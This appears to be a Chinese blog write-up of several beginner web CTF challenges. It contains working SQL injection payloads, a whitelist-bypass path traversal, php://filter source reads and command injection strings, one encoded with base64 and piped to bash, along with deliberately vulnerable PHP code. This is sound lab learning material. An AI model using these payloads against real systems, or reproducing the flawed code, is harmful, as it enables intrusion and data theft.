找到
1
篇与
bash
相关的结果
-
【CTF】Day 1 重操旧业! [极客大挑战 2019]EasySQL 题目截图图片 进入后发现是账号登录的界面,尝试一些特殊字符串,如单引号,发现报错: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'admin'' at line 1 这说明存在注入点,我们输入账号为以下值,密码随意输入后,即可拿到 flag。 Payload test' or 1;# [极客大挑战 2019]Havefun 进去后是一只猫,点击后没什么反应,只能先审计源代码。在根目录发现如下代码: <!-- $cat=$_GET['cat']; echo $cat; if($cat=='dog'){ echo 'Syc{cat_cat_cat_cat}'; } -->Havefun截图图片 直接在 URL 内带参,即可得到 flag。 Payload /?cat=dog[HCTF 2018]WarmUp 进去后是个滑稽,老样子先审计代码,发现 HTML 注释内带着一个文件名:source.php,访问后发现输出代码: 源码截图图片 <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>代码审计 checkFile 函数 判断 page,如果为空或不为字符串,则返回 false。 检测 page 是否在白名单列表内,如果在,则返回 true。 新建 _page 变量,拼接 page 和问号,然后截取问号前的内容,再次判断是否在白名单。还会进行一次 urldecode 提高兼容性。 在白名单列表里还有 hint.php,访问后提示:flag not here, and flag in ffffllllaaaagggg,说明 flag 在一个名为 ffffllllaaaagggg 的文件内。 根据逻辑,可以传入白名单文件名并在后面加问号,这样 checkFile 通过校验,而后面的 include 则能拼接访问到真正的 flag。 Payload /?file=source.php?../../../../../ffffllllaaaagggg[ACTF2020 新生赛]Include 进入后只有个超链接 tips,点击后访问 ?file=flag.php,输出 Can you find out the flag?。 题目提示了是 include,于是尝试 index.php,发现输出重复,说明重复调用,需要加密输出。 尝试 php://input 被拦截,提示 hacker。于是使用 php://filter: ?file=php://filter/read=convert.base64-encode/resource=index.php解码后代码如下: <meta charset="utf8"> <?php error_reporting(0); $file = $_GET["file"]; if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){ exit('hacker!'); } if($file){ include($file); }else{ echo '<a href="?file=flag.php">tips</a>'; } ?>同理,读取 flag.php 即可获取 flag。 Payload /?file=php://filter/read=convert.base64-encode/resource=flag.php[ACTF2020 新生赛]Exec 进去后有一个输入框,可以进行 ping IP 操作,下面有回显。 exec截图1图片 题目提示 exec,推断是 ping IP,于是构造命令: exec截图2图片 127.0.0.1&&cd /&&ls看到回显中有 flag,直接查看: Payload 127.0.0.1&&cat /flag[GXYCTF2019]Ping Ping Ping 进入后提示 /?ip=,输入 ?ip=127.0.0.1,输出了 ping 结果。 在 IP 后加入 ls 成功执行,发现有 index.php 和 flag.php。 尝试 cat flag.php 提示不能有空格,于是用 $IFS 代替,结果发现不能使用 flag 关键字。于是想到用 base64 执行: ?ip=;a=Y2F0IGZsYWcucGhw;echo$IFS$a|base64$IFS-d|bash提示 bash 不能用,尝试了花括号、小括号、星号都不行,最后用反引号成功。 Payload /?ip=;a=Y2F0IGZsYWcucGhw;echo$IFS$a|base64$IFS-d[SUCTF 2019]EasySQL 进入后是一段话:Give me your flag, I will tell you if the flag is right. 下方有个输入框。 输入 flag 后提示 NONONO;输入双引号也提示 NONONO,推断有屏蔽词,比如 and、or、from。 输入数字时返回 Array ( [0] => 1 ),说明可以查表,但语句中不能出现屏蔽词。 查阅 WP,有两种方法: 利用 SQL 查询逻辑 数字输入有回显,字符串无回显,说明存在 OR 逻辑。SQL 语句大概是: select cmd || flag from flag当 cmd=*,1 时: select *,1 || flag from flag这样 1 短路第一个 flag,成功查询出 flag。 利用 sql\_mode sql_mode 控制 SQL 语法,PIPES_AS_CONCAT 会将 || 当作字符串连接符,而不是逻辑或。 Payload *,11;set sql_mode=PIPES_AS_CONCAT;select 1今天学到很多,睡觉睡觉。